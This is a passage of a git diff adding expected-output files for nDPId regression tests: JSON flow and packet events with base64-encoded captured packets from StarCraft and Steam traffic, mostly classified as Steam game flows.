8e96Vs5puyWXjVNZqicSOEcYieqmP9VXh5crWu1PG\/CUHClHhTGPM1RN3pml2BIyWAHIC5+q4rW9Jw9KwsCmmb1VdK8+Lo8PBF3Ydk9pMbaLMZuuuno4dHQ6MdV+neZnnM2jwRy8Pa3DR\/wDo1hP+44f8AL1XTPcGB8insh\/O2v8AvvnP5lf2pbEOXJOBQ481RwbtXxaSiwmnpI3Fhq3Ozkc2NtcfUhdG2szdeBlqMCibdOZv4o5emHrnc403DzefxM3ixf2KIt8qq9p8kRPa1vB\/Z9RVmGQVuIB8zpxnbEHFrQ3le2pPzXwaLs5lsbL05nNXqmrfEXtFuXDe5farbjPZXPYmR061EUbpqtEzM87XvERHDhdygcF4Gxthh0PzBJ+8rtcaHpsRaMGHnVW1uuVTec1V6I7IR\/I7BD\/5ug+iv5k074mGe+vXP4qrzkk4IwOX4sOjA28Jc38CsVaDptfHBj0x2S\/XD2w17C\/VzVXliJ7YlwvjngunwGnjr8Pc9kWcNfG518h5EHddG1\/Q8LT6IzWVmYi9pjq6pieL1zY7a7H1rGq0\/UIiarTMTEWvbjExw81o8Dm3B+Kvxnh6lqJTmmALJHHmQbX+eh+a75oubqzuRw8Wv9bhPjjd6Xj+1Wm0aVq+Nl8KLUbppjqiYvbycPI3F1zjqSHclAvNAHdBJ2QKN0AdSgkbIIO+iCLqwJB1QMoJvcqiSkCCdUkQoJboqAlBCgBuglBHMIJvqgRBDtygm1yqGA6KCTsgg6BBA2VB8kDNcoGvdAzd91RJ3SRAB6IJPogjZQTdBAuCgklAX00QQBpe6CdUDDRApOqBmu02QPyQM0+Eq8gAqBgL\/wBSthOyD4mKAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQCAQMNkAgEDoJG6BkAgdnwoGQOzYoLRsglu6C0boHbugdqC8yZ8otawQSN0Dt3QSgtbyQbqhw+rOGPqIpmww3Och1iQPJByLh7DoW0L6iOeRvvAyFzgLtseSDTz0lbE2qlhsIg7JIIzckefOyCmgLaV5dIzO4su1pF7+qDfcPTNoi6tezMIW57dDyQaKrqX1dXJK9xcXEm5QdkdjmBQ0jcV41xGJsmG8PxiSOOQXbNUu0ib9dfkg9dexbwHLgnAtbxbWTGXEOJpBO5rmWLGMc8CxvrmLieXJUeiRqUgMN1QN1JQId1kOtiHBZkQoJBsqAm6XHUGD\/AOmjJ\/u6f8XqDt47IJQCCGjVBI0ug4T2swuk4fpntF2x1AzeQLXC\/wDbqgzezKvhqeFoKdjh31O97Xsvrq4uBt01+5By4DQIG5oGIVkLPTx1UEsMrc8UjSx7eoIsQoMTBOG8O4e773Cn7jvsufxude17bk9Sg3DdlodPdkv+ip3+53\/i1ZHdDQgtA0CDIYNAgtbtsqOqe2h7TX4YwHxiJ5I8iRb8Cg7G4VYWcN4S1wsRSRA+uQJA6u4="} +02437{"flow_id":46,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":772,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":993138,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXc0ClAADkGeJIC5C5wwKgBZABQDci+gjFdcwdVgVAQAepaNwAAGx732slx51tQ8X12DyPwVHd7R4rqC8JIcDb6JIsAsEDNUHTPbFF3PFkLwbF9Kx9xy8Th+SDu+F\/eRMeBYOaDb1QdM9tX+iqk\/wBxM\/w3oO6aT\/xOH\/YN\/BBkDSyCwbq8xa0LQqxJzY8NqXSECMROLidrZSswOnOw1rzxNWu+yKNwPrnZb8CoO8mC53urAe2uu6cQ0O6DpDgof\/XAP91VX+BIg7zdoSUCGWwdcoMWpBmhkYCBnaW3VHRHZFiEeEcZPiqnCF08L6cZzaz8zTb\/AKJCg73MhaQbhaUrpSXbhQQ2U3IJ8lRbBLdx15INfUcG4LX43Fi09EJMQY9kgm7148TbZTYG2lhy5LI5DfQ+ac0S3XX8UkPe59UEc0E3v\/UrxCu0UkeXvbYFhwZ\/9+\/\/ACF5rtl+7\/O\/C937l377\/wAf43dXY0LdlXCf+9sJ\/wCiF3PSPe\/A+THY8u2m9+s38urtdYe2Z\/oJwT\/fH\/5T11ra\/wByYfyvul3vuZ++OP8AI\/FDmHs0\/wCklw5\/98\/+8yrltnPevC+d9qXWduf8w5n5n2KXaI+Bdmh0RRIVZFZ2TmKn\/BdQeOO1b\/8AKbd\/vhh\/\/dwLx7Vff\/51HZS\/pzZ3\/JvzMX7Vb2A7W\/ovYX8xvI3ta\/6Y+Hf71R\/99MvI9rvd1HyI7an9KdzT3oxf5k\/ZoepcOBOF0n+0s\/wQvV8L9nT4ofznmP21fjntX21K\/V86mbRJFLrkeqCknf0SBp+KOF8N4ywabDMUgE1NJqCNHRu5OaeRH9tCvjzmTwc9hTg48XifR4Y8LldM1PNaRmac1lKrVR5pjqmOcT\/e95nrKLiH2eeMmzQk1eFVBs1xuI6qMfZd+68X+XmDr5TiUZvZjOdKnfRPmqjqnqmP73P6IwsXTdvtNnDxI6OLT56J6466Z9PgmHonhPi7DuNcFixLDpc8TtHxn44nc2uHIj+tepZLO4OfwYxsGd3pieqX896tpOa0bNVZXNU2mOE8pjrjwf8Ayd7rrtk7ZGcLRy4Ng0rZMYeLSzN1FKD+L\/LluV1jXtejJROWy03xJ4z8H\/32O\/7H7H1apVTns9FsGOEfD\/6+HnwhoeyHsZdM6LiLiWN0kr3d7T0c2pJ37yS+5O4B9T0XHaFoE1TGdz0Xmd8RPbPq87nNr9sooidL0mbRG6qqPN0aeyZjxR1u8n7FejvC2O7UKhXcgoKX7IOG9p9RxBS8NyycOsDqm9pcgzShnMxjr+W2q4LWq87h5WasjHtufXbweH+4dx2VwtJxdRpp1abUcr7qb\/7p6vRM8dzhnZ92OihkZi3EQ96r3HvG0shzNjO93n7TvLYeZ26\/o+zkYUxms\/7aud9p328M9c+h3PafbicemchpHtMKN01RumY6qeqn0z4I49qbG679Dxt597A\/9GFZ\/uB\/\/eRryLZH3dX8ie2l\/SndL96ML+ZH2a3fRHReuP5rI4aIKyg6I4PPvXbLUSkkWqqt4B9Hi33ryXS\/8TaCqv8A3Vz9p\/Se0EewbF0Yf+zCj00z9zu2R7Y2lz3BjRzJsF6zVVEReX83U01VzamLyxH4pRsdZ1XA0jkZB\/FfjOYwYm01x54fVGSzVUXjCqnyT6lb8VoiP\/Haf\/lG\/wAVPynA+HHnhr8hzfxVX0Z9SW1cM9hHMx99RleDdfpTiUV\/q1RL8K8DFw99dEx44lpsS4HwTGcQNdWUXfVRteTvXt20GgcAuKzGj5HN43s+Nh3q3b7zy8U2diyW0+radloyeVxujh793Rpnjx3zTM+lvnahc06srvf1UEEaoKkEnZBW\/mqIdsEgVuOqSOsMc4d4i4t4lkpaw9xQQnMyRoPdBp2I\/ed\/bQLzPO6fqmrZ6cHH9rh08J\/028HXP97oe86Trez+zmkU5nJx08evdMT+veON\/g0xytxjrm7n2BYBR8O0IpqOINboXvPxPPUld7w="} +00419{"flow_id":46,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":773,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":993148,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLRZAAIAG2lnAqAFkAuQucA3IAFBzB1WBvoI3EVAQAQDvPwAA"} +02446{"flow_id":46,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":774,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":993425,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXc0CpAADkGeJEC5C5wwKgBZABQDci+gjcRcwdVgVAQAeqJ9AAAjkMDT8KMLApt1zznwy8h1fWM5rWYnMZuq88o5Ux1RH9zPNwPtm2wb\/13\/wAC6Ntl+7\/O\/C9c7l377\/x\/jc34Z\/0NYT\/uSH\/AC7vpnuHA+RT9mHk2v+++c\/mV\/alsLbrknApGysDrDtgB7\/C3fZLZB87tXmW2UT08CfBV9z3zuYVR7Fm6ed6PxOZ8MSNk4cwstNx7tGPmGgFd40qqKshgTHwaeyHkm0VFVGsZuKvjK589UzHobJx0K5R14g0CBuSsjinaXOyLhiRjiA6WRjWjrY3\/ACXUdqMSmjTZpnjVMW89\/ueldz7BrxNcprpjdTTVM+WLdssfsufm4clFvhqXN9fC0\/mvw2SqvkKo6qp7Il9fdIo6Os0T14dM\/Wqj7nLnbLujyoO2QQR4QgBsgYbKiu6gAgZBDkEFBCsB1AXCB0CndBA3QMRdasIIspYRdQHJBN0Agg\/kgUIId8Sos9FANOqAcdAggm5VgA2QF0ANSoGagcHU6KicyCb6IAH8FQt\/EFkTfQXVEXufNQNdAboDlbdADTVBN\/JAZfNBIabIGDf7BBKokBQOCqJ3G5CcR8TFAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIBAIGGyAQCB0EjdAyAQOz4UDIHZsUFo2QS3dBaN0Dt3QWNtY9UFkbSQbILu7LRrz5BABBKC6Pdt9kHI+FM1TWGB\/iaIyGsPO6DY8OyzUcs9CXNEjJbBjtR5oFlZFRmorqeR82YubI0aAG+yDDfm7lhuBI8AkAbDogvxGR9Jh8EGYXltK5o3AtoCg1cEb55mRsaXPeQ1rRzJQei6\/gupkj4D7KMIgdNiFZJHiuNtjOxdyd5Mjufmg984RhNHgWGU2HYfTspKGmjEUMEYs1jRsAgzG7qwGCSJbuVQh0KyGWxDuSzIhQSgEHSM9HVV\/HVZT0U3u9U+smDJc5blOZx3Go0Qcm\/kVxef8Az9\/2yb+CA\/kVxf8A6\/f9sm\/ggn+RXF\/+v3\/bJv8AFQQOCeL\/APX7\/tk38EHMeE8MxDC8NdDiVV75Ud4Xd53jn+E2sLuF+qDYYhh0GLUctJUs7yCQWcPz9UHXVZ2UYhSVBkw2ujc2+neExvA9QDf7kFbOCuL2kFtc8EbWrHaIJ\/kzxvf\/AMcqv+fn\/GQOOGOON\/fKr\/n5\/wAZUUVNdxpw23v6l9SImnV0hbKz5nWyg55wNxi3iqkkbKxsVbDbvGt+FwOzh\/BBywclodA8LcQycMYn75FC2dxjMeV5sNSOnosjmDe2SsH\/AJug\/wCO5BYO2WssP8zYP+OUF7e2est\/nbB\/yhQTJ2x4lI3LBh9M2Q83FzvuuFRrsN4cxvj3GxV17JI4HEd5USNytDR9lg\/h80HdsMbYWNYwZWNGVo6AIOnODf8ATVH+6an\/AAZEHeDBfVBe3X+pWRYAoHtogZig6d7aNOKaTp7kz\/DkQd0UZ\/vSD\/YN\/BB0521\/6KqT\/cTP8ORBtYe3LuomM\/Ut8rQ2\/ve\/\/QQWjt12\/wAw\/wDtf\/4iCwdu1j\/nH\/2v\/wDEVFje3f8A+4f\/AGv\/APEVGrxntLxXjGmfh0DaTC6eYZZHyThpLTyzOtp1sFBz7s14IbwnQSzSzxVNXVZS58JuxrRsGnnve\/p0Qc4YABdOQbYnRQPD8S0OjuCz\/wDXADt\/fVV\/gyKDu6ebINFRhCaztUDGS5\/NFdc8Y9k0OOVstdh1QyjqJTmkikF43O5kEag\/IojjH9znjKlHdw1\/gA07uscB+SBXcH8fwgNZiFS5o\/cxBwA+pCgX+SvaF\/8AZ1Z\/7RP+MgDhfaLhbS9tRWytAv4asSn6FxJ+iK3nAva1iEeKxYZj4Lw9\/dd8WZJI33sA4dL6bAhEd0CS7bg3VDx3IuoLD9TfdAEqiLk="} diff --git a/test/results/steam.pcap.out b/test/results/steam.pcap.out new file mode 100644 index 000000000..efc37e0e0 --- /dev/null +++ b/test/results/steam.pcap.out @@ -0,0 +1,214 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"steam.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1357332164693,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.13","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":693497,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx\/AqLyVkkKYDbJhaYoALLORVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00498{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"steam.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1357332164693,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.13","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"steam.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1357332164693,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.12","src_port":45665,"dst_port":27019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":693949,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkyDAqLyVkkKYDLJhaYsALLORVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00498{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"steam.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1357332164693,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.12","src_port":45665,"dst_port":27019,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"steam.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1357332164694,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.8","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":694326,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+LvAqLyVUatzCLJhaYoALBkuVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00497{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"steam.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1357332164694,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.8","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"steam.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1357332164694,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.6","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":694714,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+L3AqLyVUatzBrJhaYkALBkxVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00497{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"steam.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1357332164694,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.6","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"steam.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1357332164736,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.172","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":736574,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR5qbAqLyVRRyRrLJhaYoALAcZVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00498{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"steam.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1357332164736,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.172","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"steam.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1357332164737,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.8","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":737048,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+LvAqLyVUatzCLJhaYkALBkvVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00497{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"steam.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1357332164737,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.8","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"steam.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1357332164737,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.91.36","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":737426,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARHb3AqLyVRI5bJLJhaYkALD4wVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00497{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"steam.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1357332164737,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.91.36","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"steam.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1357332164737,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.12","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":737823,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkyDAqLyVkkKYDLJhaYoALLOSVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00498{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"steam.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1357332164737,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.12","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00448{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":761287,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWSYAAIARjXhFHJGswKi8lWmKsmEANLLiVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAzAy3GMcAAAA="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"steam.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1357332164786,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.7","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":786555,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+LzAqLyVUatzB7JhaYoALBkvVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00498{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"steam.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1357332164786,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.7","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"steam.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1357332164787,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.171.83","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":787027,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARQazAqLyV0G+rU7JhaYkALGIfVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"steam.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1357332164787,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.171.83","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} 